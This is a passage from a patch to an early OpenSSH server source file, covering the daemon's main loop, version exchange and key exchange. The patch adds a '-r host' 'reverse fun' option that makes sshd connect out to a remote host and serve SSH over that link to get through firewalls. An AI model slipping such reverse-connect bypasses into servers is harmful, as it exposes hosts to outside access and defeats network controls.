unlink(options.pid_file); + exit(255); +} + +/* + * SIGCHLD handler. This is called whenever a child dies. This will then + * reap any zombies left by exited c. + */ +void +main_sigchld_handler(int sig) +{ + int save_errno = errno; + int status; + + while (waitpid(-1, &status, WNOHANG) > 0) + ; + + signal(SIGCHLD, main_sigchld_handler); + errno = save_errno; +} + +/* + * Signal handler for the alarm after the login grace period has expired. + */ +void +grace_alarm_handler(int sig) +{ + /* Close the connection. */ + packet_close(); + + /* Log error and exit. */ + fatal("Timeout before authentication for %s.", get_remote_ipaddr()); +} + +/* + * Signal handler for the key regeneration alarm. Note that this + * alarm only occurs in the daemon waiting for connections, and it does not + * do anything with the private key or random state before forking. + * Thus there should be no concurrency control/asynchronous execution + * problems. + */ +/* XXX do we really want this work to be done in a signal handler ? -m */ +void +key_regeneration_alarm(int sig) +{ + int save_errno = errno; + + /* Check if we should generate a new key. */ + if (key_used) { + /* This should really be done in the background. */ + log("Generating new %d bit RSA key.", options.server_key_bits); + + if (sensitive_data.private_key != NULL) + RSA_free(sensitive_data.private_key); + sensitive_data.private_key = RSA_new(); + + if (public_key != NULL) + RSA_free(public_key); + public_key = RSA_new(); + + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + key_used = 0; + log("RSA key generation complete."); + } + /* Reschedule the alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + errno = save_errno; +} + +void +sshd_exchange_identification(int sock_in, int sock_out) +{ + int i, mismatch; + int remote_major, remote_minor; + int major, minor; + char *s; + char buf[256]; /* Must not be larger than remote_version. */ + char remote_version[256]; /* Must be at least as big as buf. */ + + if ((options.protocol & SSH_PROTO_1) && + (options.protocol & SSH_PROTO_2)) { + major = PROTOCOL_MAJOR_1; + minor = 99; + } else if (options.protocol & SSH_PROTO_2) { + major = PROTOCOL_MAJOR_2; + minor = PROTOCOL_MINOR_2; + } else { + major = PROTOCOL_MAJOR_1; + minor = PROTOCOL_MINOR_1; + } + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", major, minor, SSH_VERSION); + server_version_string = xstrdup(buf); + + if (client_version_string == NULL) { + /* Send our protocol version identification. */ + if (atomicio(write, sock_out, server_version_string, strlen(server_version_string)) + != strlen(server_version_string)) { + log("Could not write ident string to %s.", get_remote_ipaddr()); + fatal_cleanup(); + } + + /* Read other side\'s version identification. */ + for (i = 0; i < sizeof(buf) - 1; i++) { + if (atomicio(read, sock_in, &buf[i], 1) != 1) { + log("Did not receive ident string from %s.", get_remote_ipaddr()); + fatal_cleanup(); + } + if (buf[i] == '\r') { + buf[i] = '\n'; + buf[i + 1] = 0; + continue; + } + if (buf[i] == '\n') { + /* buf[i] == '\n' */ + buf[i + 1] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + client_version_string = xstrdup(buf); + } + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) { + s = "Protocol mismatch.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Bad protocol version identification '%.100s' from %s", + client_version_string, get_remote_ipaddr()); + fatal_cleanup(); + } + debug("Client protocol version %d.%d; client software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + + mismatch = 0; + switch(remote_major) { + case 1: + if (remote_minor == 99) { + if (options.protocol & SSH_PROTO_2) + enable_compat20(); + else + mismatch = 1; + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + packet_disconnect("Your ssh version is too old and " + "is no longer supported. Please install a newer version."); + } else if (remote_minor == 3) { + /* note that this disables agent-forwarding */ + enable_compat13(); + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + chop(server_version_string); + chop(client_version_string); + debug("Local version string %.200s", server_version_string); + + if (mismatch) { + s = "Protocol major versions differ.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Protocol major versions differ for %s: %.200s vs. %.200s", + get_remote_ipaddr(), + server_version_string, client_version_string); + fatal_cleanup(); + } + if (compat20) + packet_set_ssh2_format(); +} + + +void +destroy_sensitive_data(void) +{ + /* Destroy the private and public keys. They will no longer be needed. */ + if (public_key) + RSA_free(public_key); + if (sensitive_data.private_key) + RSA_free(sensitive_data.private_key); + if (sensitive_data.host_key) + RSA_free(sensitive_data.host_key); + if (sensitive_data.dsa_host_key != NULL) + key_free(sensitive_data.dsa_host_key); +} + +int *startup_pipes = NULL; /* options.max_startup sized array of fd ints */ +int startup_pipe; /* in child */ + +/* + * Main program for the daemon. + */ +int +main(int ac, char **av) +{ + extern char *optarg; + extern int optind; + int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1; + pid_t pid; + socklen_t fromlen; + int silent = 0; + fd_set *fdset; + struct sockaddr_storage from; + const char *remote_ip; + int remote_port; + FILE *f; + struct linger linger; + struct addrinfo *ai; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int listen_sock, maxfd; + int startup_p[2]; + int startups = 0, reverse_fun = 0; + char reverse_client[1024]; + + init_rng(); + + /* Save argv[0]. */ + saved_argc = ac; + saved_argv = av; + if (strchr(av[0], '/')) + av0 = strrchr(av[0], '/') + 1; + else + av0 = av[0]; + + /* Initialize configuration options to their default values. */ + initialize_server_options(&options); + + /* Parse command-line arguments. */ + while ((opt = getopt(ac, av, "r:f:p:b:k:h:g:V:diqQ46")) != EOF) { + switch (opt) { + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'f': + config_file_name = optarg; + break; + case 'd': + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG; + break; + case 'i': + inetd_flag = 1; + break; + case 'Q': + silent = 1; + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'b': + options.server_key_bits = atoi(optarg); + break; + case 'p': + options.ports_from_cmdline = 1; + if (options.num_ports >= MAX_PORTS) + fatal("too many ports.\n"); + options.ports[options.num_ports++] = atoi(optarg); + break; + case 'g': + options.login_grace_time = atoi(optarg); + break; + case 'k': + options.key_regeneration_time = atoi(optarg); + break; + case 'h': + options.host_key_file = optarg; + break; + case 'V': + client_version_string = optarg; + /* only makes sense with inetd_flag, i.e. no listen() */ + inetd_flag = 1; + break; + case 'r': + reverse_fun = 1; + strncpy(reverse_client, optarg, sizeof(reverse_client)); + printf("Enabling reverse fun.\n"); + break; + case '?': + default: + fprintf(stderr, "sshd version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [options]\n", av0); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -f file Configuration file (default %s)\n", SERVER_CONFIG_FILE); + fprintf(stderr, " -d Debugging mode\n"); + fprintf(stderr, " -i Started from inetd\n"); + fprintf(stderr, " -q Quiet (no logging)\n"); + fprintf(stderr, " -p port Listen on the specified port (default: 22)\n"); + fprintf(stderr, " -k seconds Regenerate server key every this many seconds (default: 3600)\n"); + fprintf(stderr, " -g seconds Grace period for authentication (default: 300)\n"); + fprintf(stderr, " -b bits Size of server RSA key (default: 768 bits)\n"); + fprintf(stderr, " -h file File from which to read host key (default: %s)\n", + HOST_KEY_FILE); + fprintf(stderr, " -4 Use IPv4 only\n"); + fprintf(stderr, " -6 Use IPv6 only\n"); + fprintf(stderr, " -r host Use Reverse-fun to connect to 'host'\n"); + exit(1); + } + } + + /* + * Force logging to stderr until we have loaded the private host + * key (unless started from inetd) + */ + log_init(av0, + options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, + options.log_facility == -1 ? SYSLOG_FACILITY_AUTH : options.log_facility, + !silent && !inetd_flag); + + /* Read server configuration options from the configuration file. */ + read_server_config(&options, config_file_name); + + /* Fill in default values for those options not explicitly set. */ + fill_default_server_options(&options); + + /* Check that there are no remaining arguments. */ + if (optind < ac) { + fprintf(stderr, "Extra argument %s.\n", av[optind]); + exit(1); + } + + debug("sshd version %.100s", SSH_VERSION); + + sensitive_data.dsa_host_key = NULL; + sensitive_data.host_key = NULL; + + /* check if RSA support exists */ + if ((options.protocol & SSH_PROTO_1) && + rsa_alive() == 0) { + log("no RSA support in libssl and libcrypto. See ssl(8)"); + log("Disabling protocol version 1"); + options.protocol &= ~SSH_PROTO_1; + } + /* Load the RSA/DSA host key. It must have empty passphrase. */ + if (options.protocol & SSH_PROTO_1) { + Key k; + sensitive_data.host_key = RSA_new(); + k.type = KEY_RSA; + k.rsa = sensitive_data.host_key; + errno = 0; + if (!load_private_key(options.host_key_file, "", &k, NULL)) { + error("Could not load host key: %.200s: %.100s", + options.host_key_file, strerror(errno)); + log("Disabling protocol version 1"); + options.protocol &= ~SSH_PROTO_1; + } + k.rsa = NULL; + } + if (options.protocol & SSH_PROTO_2) { + sensitive_data.dsa_host_key = key_new(KEY_DSA); + if (!load_private_key(options.host_dsa_key_file, "", sensitive_data.dsa_host_key, NULL)) { + + error("Could not load DSA host key: %.200s", options.host_dsa_key_file); + log("Disabling protocol version 2"); + options.protocol &= ~SSH_PROTO_2; + } + } + if (! options.protocol & (SSH_PROTO_1|SSH_PROTO_2)) { + if (silent == 0) + fprintf(stderr, "sshd: no hostkeys available -- exiting.\n"); + log("sshd: no hostkeys available -- exiting.\n"); + exit(1); + } + + /* Check certain values for sanity. */ + if (options.protocol & SSH_PROTO_1) { + if (options.server_key_bits < 512 || + options.server_key_bits > 32768) { + fprintf(stderr, "Bad server key size.\n"); + exit(1); + } + /* + * Check that server and host key lengths differ sufficiently. This + * is necessary to make double encryption work with rsaref. Oh, I + * hate software patents. I dont know if this can go? Niels + */ + if (options.server_key_bits > + BN_num_bits(sensitive_data.host_key->n) - SSH_KEY_BITS_RESERVED && + options.server_key_bits < + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED) { + options.server_key_bits = + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED; + debug("Forcing server key to %d bits to make it differ from host key.", + options.server_key_bits); + } + } + + /* Initialize the log (it is reinitialized below in case we forked). */ + if (debug_flag && !inetd_flag) + log_stderr = 1; + log_init(av0, options.log_level, options.log_facility, log_stderr); + + /* + * If not in debugging mode, and not started from inetd, disconnect + * from the controlling terminal, and fork. The original process + * exits. + */ + if (!debug_flag && !inetd_flag) { +#ifdef TIOCNOTTY + int fd; +#endif /* TIOCNOTTY */ + if (daemon(0, 0) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + /* Disconnect from the controlling tty. */ +#ifdef TIOCNOTTY + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + } + /* Reinitialize the log (because of the fork above). */ + log_init(av0, options.log_level, options.log_facility, log_stderr); + + /* Do not display messages to stdout in RSA code. */ + rsa_set_verbose(0); + + /* Initialize the random number generator. */ + arc4random_stir(); + + /* Chdir to the root directory so that the current disk can be + unmounted if desired. */ + chdir("/"); + + /* Start listening for a socket, unless started from inetd. */ + if (inetd_flag) { + int s1, s2; + s1 = dup(0); /* Make sure descriptors 0, 1, and 2 are in use. */ + s2 = dup(s1); + sock_in = dup(0); + sock_out = dup(1); + /* + * We intentionally do not close the descriptors 0, 1, and 2 + * as our code for setting the descriptors won\'t work if + * ttyfd happens to be one of those. + */ + debug("inetd sockets after dupping: %d, %d", sock_in, sock_out); + + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + } + /* XXX: Have some reverse fun through firewalls. */ + } else if (reverse_fun) { + int client_port = options.ports[0]; + char port[100]; + struct addrinfo *adi, hints; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + + memset(port, 0, sizeof(port)); + snprintf(port, sizeof(port), "%d", client_port); + if (getaddrinfo(reverse_client, port, &hints, &adi) < 0) { + perror("addrinfo (during reverse fun)"); + exit(errno); + } + if ((listen_sock = socket(adi->ai_family, SOCK_STREAM, 0)) < 0) { + perror("socket (during reverse fun)"); + exit(errno); + } + printf("Reverse fun: Connecting to %s:%s\n", reverse_client, port); + + if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) { + perror("connect (during reverse fun)"); + exit(errno); + } + if (fcntl(listen_sock, F_SETFL, 0) < 0) + error("newsock del O_NONBLOCK: %s", strerror(errno)); + + sock_in = listen_sock; + if ((sock_out = dup(sock_in)) < 0) { + perror("dup (during reverse fun)"); + sock_out = sock_in; + } + + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + + /* Schedule server key regeneration alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + } + + + } else { + for (ai = options.listen_addrs; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (num_listen_socks >= MAX_LISTEN_SOCKS) + fatal("Too many listen sockets. " + "Enlarge MAX_LISTEN_SOCKS"); + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("getnameinfo failed"); + continue; + } + /* Create socket for listening. */ + listen_sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (listen_sock < 0) { + /* kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) { + error("listen_sock O_NONBLOCK: %s", strerror(errno)); + close(listen_sock); + continue; + } + /* + * Set socket options. We try to make the port + * reusable and have it close as fast as possible + * without waiting in unnecessary wait states on + * close. + */ + setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, + (void *) &on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(listen_sock, SOL_SOCKET, SO_LINGER, + (void *) &linger, sizeof(linger)); + + debug("Bind to port %s on %s.", strport, ntop); + + /* Bind the socket to the desired port. */ + if ((bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) && + (!ai->ai_next)) { + error("Bind to port %s on %s failed: %.200s.", + strport, ntop, strerror(errno)); + close(listen_sock); + continue; + } + listen_socks[num_listen_socks] = listen_sock; + num_listen_socks++; + + /* Start listening on the port. */ + log("Server listening on %s port %s.", ntop, strport); + if (listen(listen_sock, 5) < 0) + fatal("listen: %.100s", strerror(errno)); + + } + freeaddrinfo(options.listen_addrs); + + if (!num_listen_socks) + fatal("Cannot bind any address."); + + if (!debug_flag) { + /* + * Record our pid in /etc/sshd_pid to make it easier + * to kill the correct sshd. We don\'t want to do + * this before the bind above because the bind will + * fail if there already is a daemon, and this will + * overwrite any old pid in the file. + */ + f = fopen(options.pid_file, "w"); + if (f) { + fprintf(f, "%u\n", (unsigned int) getpid()); + fclose(f); + } + } + if (options.protocol & SSH_PROTO_1) { + public_key = RSA_new(); + sensitive_data.private_key = RSA_new(); + + log("Generating %d bit RSA key.", options.server_key_bits); + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + log("RSA key generation complete."); + + /* Schedule server key regeneration alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + } + + /* Arrange to restart on SIGHUP. The handler needs listen_sock. */ + signal(SIGHUP, sighup_handler); + + signal(SIGTERM, sigterm_handler); + signal(SIGQUIT, sigterm_handler); + + /* Arrange SIGCHLD to be caught. */ + signal(SIGCHLD, main_sigchld_handler); + + /* setup fd set for listen */ + fdset = NULL; + maxfd = 0; + for (i = 0; i < num_listen_socks; i++) + if (listen_socks[i] > maxfd) + maxfd = listen_socks[i]; + /* pipes connected to unauthenticated childs */ + startup_pipes = xmalloc(options.max_startups * sizeof(int)); + for (i = 0; i < options.max_startups; i++) + startup_pipes[i] = -1; + + /* + * Stay listening for connections until the system crashes or + * the daemon is killed with a signal. + */ + for (;;) { + if (received_sighup) + sighup_restart(); + if (fdset != NULL) + xfree(fdset); + fdsetsz = howmany(maxfd, NFDBITS) * sizeof(fd_mask); + fdset = (fd_set *)xmalloc(fdsetsz); + memset(fdset, 0, fdsetsz); + + for (i = 0; i < num_listen_socks; i++) + FD_SET(listen_socks[i], fdset); + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1) + FD_SET(startup_pipes[i], fdset); + + /* Wait in select until there is a connection. */ + if (select(maxfd + 1, fdset, NULL, NULL, NULL) < 0) { + if (errno != EINTR) + error("select: %.100s", strerror(errno)); + continue; + } + for (i = 0; i < options.max_startups; i++) + if (startup_pipes[i] != -1 && + FD_ISSET(startup_pipes[i], fdset)) { + /* + * the read end of the pipe is ready + * if the child has closed the pipe + * after successfull authentication + * or if the child has died + */ + close(startup_pipes[i]); + startup_pipes[i] = -1; + startups--; + } + for (i = 0; i < num_listen_socks; i++) { + if (!FD_ISSET(listen_socks[i], fdset)) + continue; + fromlen = sizeof(from); + newsock = accept(listen_socks[i], (struct sockaddr *)&from, + &fromlen); + if (newsock < 0) { + if (errno != EINTR && errno != EWOULDBLOCK) + error("accept: %.100s", strerror(errno)); + continue; + } + if (fcntl(newsock, F_SETFL, 0) < 0) { + error("newsock del O_NONBLOCK: %s", strerror(errno)); + continue; + } + if (startups >= options.max_startups) { + close(newsock); + continue; + } + if (pipe(startup_p) == -1) { + close(newsock); + continue; + } + + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] == -1) { + startup_pipes[j] = startup_p[0]; + if (maxfd < startup_p[0]) + maxfd = startup_p[0]; + startups++; + break; + } + + /* + * Got connection. Fork a child to handle it, unless + * we are in debugging mode. + */ + if (debug_flag) { + /* + * In debugging mode. Close the listening + * socket, and start processing the + * connection without forking. + */ + debug("Server will not fork when running in debugging mode."); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + startup_pipe = -1; + pid = getpid(); + break; + } else { + /* + * Normal production daemon. Fork, and have + * the child process the connection. The + * parent continues listening. + */ + if ((pid = fork()) == 0) { + /* + * Child. Close the listening and max_startup + * sockets. Start using the accepted socket. + * Reinitialize logging (since our pid has + * changed). We break out of the loop to handle + * the connection. + */ + startup_pipe = startup_p[1]; + for (j = 0; j < options.max_startups; j++) + if (startup_pipes[j] != -1) + close(startup_pipes[j]); + close_listen_socks(); + sock_in = newsock; + sock_out = newsock; + log_init(av0, options.log_level, options.log_facility, log_stderr); + break; + } + } + + /* Parent. Stay in the loop. */ + if (pid < 0) + error("fork: %.100s", strerror(errno)); + else + debug("Forked child %d.", pid); + + close(startup_p[1]); + + /* Mark that the key has been used (it was "given" to the child). */ + key_used = 1; + + arc4random_stir(); + + /* Close the new socket (the child is now taking care of it). */ + close(newsock); + } + /* child process check (or debug mode) */ + if (num_listen_socks < 0) + break; + } + } + + /* This is the child processing a new connection. */ + + /* + * Disable the key regeneration alarm. We will not regenerate the + * key since we are no longer in a position to give it to anyone. We + * will not restart on SIGHUP since it no longer makes sense. + */ + alarm(0); + signal(SIGALRM, SIG_DFL); + signal(SIGHUP, SIG_DFL); + signal(SIGTERM, SIG_DFL); + signal(SIGQUIT, SIG_DFL); + signal(SIGCHLD, SIG_DFL); + + /* + * Set socket options for the connection. We want the socket to + * close as fast as possible without waiting for anything. If the + * connection is not a socket, these will do nothing. + */ + /* setsockopt(sock_in, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock_in, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger)); + + /* + * Register our connection. This turns encryption off because we do + * not have a key. + */ + packet_set_connection(sock_in, sock_out); + + remote_port = get_remote_port(); + remote_ip = get_remote_ipaddr(); + + /* Check whether logins are denied from this host. */ +#ifdef LIBWRAP + /* XXX LIBWRAP noes not know about IPv6 */ + { + struct request_info req; + + request_init(&req, RQ_DAEMON, av0, RQ_FILE, sock_in, NULL); + fromhost(&req); + + if (!hosts_access(&req)) { + close(sock_in); + close(sock_out); + refuse(&req); + } +/*XXX IPv6 verbose("Connection from %.500s port %d", eval_client(&req), remote_port); */ + } +#endif /* LIBWRAP */ + /* Log the connection. */ + verbose("Connection from %.500s port %d", remote_ip, remote_port); + + /* + * We don\'t want to listen forever unless the other side + * successfully authenticates itself. So we set up an alarm which is + * cleared after successful authentication. A limit of zero + * indicates no limit. Note that we don\'t set the alarm in debugging + * mode; it is just annoying to have the server exit just when you + * are about to discover the bug. + */ + signal(SIGALRM, grace_alarm_handler); + if (!debug_flag) + alarm(options.login_grace_time); + + sshd_exchange_identification(sock_in, sock_out); + /* + * Check that the connection comes from a privileged port. Rhosts- + * and Rhosts-RSA-Authentication only make sense from priviledged + * programs. Of course, if the intruder has root access on his local + * machine, he can connect from any port. So do not use these + * authentication methods from machines that you do not trust. + */ + if (remote_port >= IPPORT_RESERVED || + remote_port < IPPORT_RESERVED / 2) { + options.rhosts_authentication = 0; + options.rhosts_rsa_authentication = 0; + } +#ifdef KRB4 + if (!packet_connection_is_ipv4() && + options.kerberos_authentication) { + debug("Kerberos Authentication disabled, only available for IPv4."); + options.kerberos_authentication = 0; + } +#endif /* KRB4 */ + + packet_set_nonblocking(); + + /* perform the key exchange */ + /* authenticate user and start session */ + if (compat20) { + do_ssh2_kex(); + do_authentication2(); + } else { + do_ssh1_kex(); + do_authentication(); + } + +#ifdef KRB4 + /* Cleanup user's ticket cache file. */ + if (options.kerberos_ticket_cleanup) + (void) dest_tkt(); +#endif /* KRB4 */ + + /* The connection has been terminated. */ + verbose("Closing connection to %.100s", remote_ip); + +#ifdef USE_PAM + finish_pam(); +#endif /* USE_PAM */ + + packet_close(); + exit(0); +} + +/* + * SSH1 key exchange + */ +void +do_ssh1_kex() +{ + int i, len; + int plen, slen; + BIGNUM *session_key_int; + unsigned char session_key[SSH_SESSION_KEY_LENGTH]; + unsigned char cookie[8]; + unsigned int cipher_type, auth_mask, protocol_flags; + u_int32_t rand = 0; + + /* + * Generate check bytes that the client must send back in the user + * packet in order for it to be accepted; this is used to defy ip + * spoofing attacks. Note that this only works against somebody + * doing IP spoofing from a remote machine; any machine on the local + * network can still see outgoing packets and catch the random + * cookie. This only affects rhosts authentication, and this is one + * of the reasons why it is inherently insecure. + */ + for (i = 0; i < 8; i++) { + if (i % 4 == 0) + rand = arc4random(); + cookie[i] = rand & 0xff; + rand >>= 8; + } + + /* + * Send our public key. We include in the packet 64 bits of random + * data that must be matched in the reply in order to prevent IP + * spoofing. + */ + packet_start(SSH_SMSG_PUBLIC_KEY); + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Store our public server RSA key. */ + packet_put_int(BN_num_bits(public_key->n)); + packet_put_bignum(public_key->e); + packet_put_bignum(public_key->n); + + /* Store our public host RSA key. */ + packet_put_int(BN_num_bits(sensitive_data.host_key->n)); + packet_put_bignum(sensitive_data.host_key->e); + packet_put_bignum(sensitive_data.host_key->n); + + /* Put protocol flags. */ + packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN); + + /* Declare which ciphers we support. */ + packet_put_int(cipher_mask1()); + + /* Declare supported authentication types. */ + auth_mask = 0; + if (options.rhosts_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS; + if (options.rhosts_rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA; + if (options.rsa_authentication) + auth_mask |= 1 << SSH_AUTH_RSA; +#ifdef KRB4 + if (options.kerberos_authentication) + auth_mask |= 1 << SSH_AUTH_KERBEROS; +#endif +#ifdef AFS + if (options.kerberos_tgt_passing) + auth_mask |= 1 << SSH_PASS_KERBEROS_TGT; + if (options.afs_token_passing) + auth_mask |= 1 << SSH_PASS_AFS_TOKEN; +#endif +#ifdef SKEY + if (options.skey_authentication == 1) + auth_mask |= 1 << SSH_AUTH_TIS; +#endif + if (options.password_authentication) + auth_mask |= 1 << SSH_AUTH_PASSWORD; + packet_put_int(auth_mask); + + /* Send the packet and wait for it to be sent. */ + packet_send(); + packet_write_wait(); + + debug("Sent %d bit public key and %d bit host key.", + BN_num_bits(public_key->n), BN_num_bits(sensitive_data.host_key->n)); + + /* Read clients reply (cipher type and session key). */ + packet_read_expect(&plen, SSH_CMSG_SESSION_KEY); + + /* Get cipher type and check whether we accept this. */ + cipher_type = packet_get_char(); + + if (!(cipher_mask() & (1 << cipher_type))) + packet_disconnect("Warning: client selects unsupported cipher."); + + /* Get check bytes from the packet. These must match those we + sent earlier with the public key packet. */ + for (i = 0; i < 8; i++) + if (cookie[i] != packet_get_char()) + packet_disconnect("IP Spoofing check bytes do not match."); + + debug("Encryption type: %.200s", cipher_name(cipher_type)); + + /* Get the encrypted integer. */ + session_key_int = BN_new(); + packet_get_bignum(session_key_int, &slen); + + protocol_flags = packet_get_int(); + packet_set_protocol_flags(protocol_flags); + + packet_integrity_check(plen, 1 + 8 + slen + 4, SSH_CMSG_SESSION_KEY); + + /* + * Decrypt it using our private server key and private host key (key + * with larger modulus first). + */ + if (BN_cmp(sensitive_data.private_key->n, sensitive_data.host_key->n) > 0) { + /* Private key has bigger modulus. */ + if (BN_num_bits(sensitive_data.private_key->n) < + BN_num_bits(sensitive_data.host_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: private_key %d < host_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.private_key->n), + BN_num_bits(sensitive_data.host_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.private_key); + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.host_key); + } else { + /* Host key has bigger modulus (or they are equal). */ + if (BN_num_bits(sensitive_data.host_key->n) < + BN_num_bits(sensitive_data.private_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("do_connection: %s: host_key %d < private_key %d + SSH_KEY_BITS_RESERVED %d", + get_remote_ipaddr(), + BN_num_bits(sensitive_data.host_key->n), + BN_num_bits(sensitive_data.private_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.host_key); + rsa_private_decrypt(session_key_int, session_key_int, + sensitive_data.private_key); + } + + compute_session_id(session_id, cookie, + sensitive_data.host_key->n, + sensitive_data.private_key->n); + + /* Destroy the private and public keys. They will no longer be needed. */ + destroy_sensitive_data(); + + /* + * Extract session key from the decrypted integer. The key is in the + * least significant 256 bits of the integer; the first byte of the + * key is in the highest bits. + */ + BN_mask_bits(session_key_int, sizeof(session_key) * 8); + len = BN_num_bytes(session_key_int); + if (len < 0 || len > sizeof(session_key)) + fatal("do_connection: bad len from %s: session_key_int %d > sizeof(session_key) %d", + get_remote_ipaddr(), + len, sizeof(session_key)); + memset(session_key, 0, sizeof(session_key)); + BN_bn2bin(session_key_int, session_key + sizeof(session_key) - len); + + /* Destroy the decrypted integer. It is no longer needed. */ + BN_clear_free(session_key_int); + + /* Xor the first 16 bytes of the session key with the session id. */ + for (i = 0; i < 16; i++) + session_key[i] ^= session_id[i]; + + /* Set the session key. From this on all communications will be encrypted. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type); + + /* Destroy our copy of the session key. It is no longer needed. */ + memset(session_key, 0, sizeof(session_key)); + + debug("Received session key; encryption turned on."); + + /* Send an acknowledgement packet. Note that this packet is sent encrypted. */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); +} + +/* + * SSH2 key exchange: diffie-hellman-group1-sha1 + */ +void +do_ssh2_kex() +{ + Buffer *server_kexinit; + Buffer *client_kexinit; + int payload_len, dlen; + int slen; + unsigned int klen, kout; + unsigned char *signature = NULL; + unsigned char *server_host_key_blob = NULL; + unsigned int sbloblen; + DH *dh; + BIGNUM *dh_client_pub = 0; + BIGNUM *shared_secret = 0; + int i; + unsigned char *kbuf; + unsigned char *hash; + Kex *kex; + char *cprop[PROPOSAL_MAX]; + +/* KEXINIT */ + + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } + server_kexinit = kex_init(myproposal); + client_kexinit = xmalloc(sizeof(*client_kexinit)); + buffer_init(client_kexinit); + + /* algorithm negotiation */ + kex_exchange_kexinit(server_kexinit, client_kexinit, cprop); + kex = kex_choose_conf(cprop, myproposal, 1); + for (i = 0; i < PROPOSAL_MAX; i++) + xfree(cprop[i]); + +/* KEXDH */ + + debug("Wait SSH2_MSG_KEXDH_INIT."); + packet_read_expect(&payload_len, SSH2_MSG_KEXDH_INIT); + + /* key, cert */ + dh_client_pub = BN_new(); + if (dh_client_pub == NULL) + fatal("dh_client_pub == NULL"); + packet_get_bignum2(dh_client_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\ndh_client_pub= "); + bignum_print(dh_client_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_client_pub)); +#endif + + /* generate DH key */ + dh = dh_new_group1(); /* XXX depends on 'kex' */ + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\np= "); + bignum_print(dh->p); + fprintf(stderr, "\ng= "); + bignum_print(dh->g); 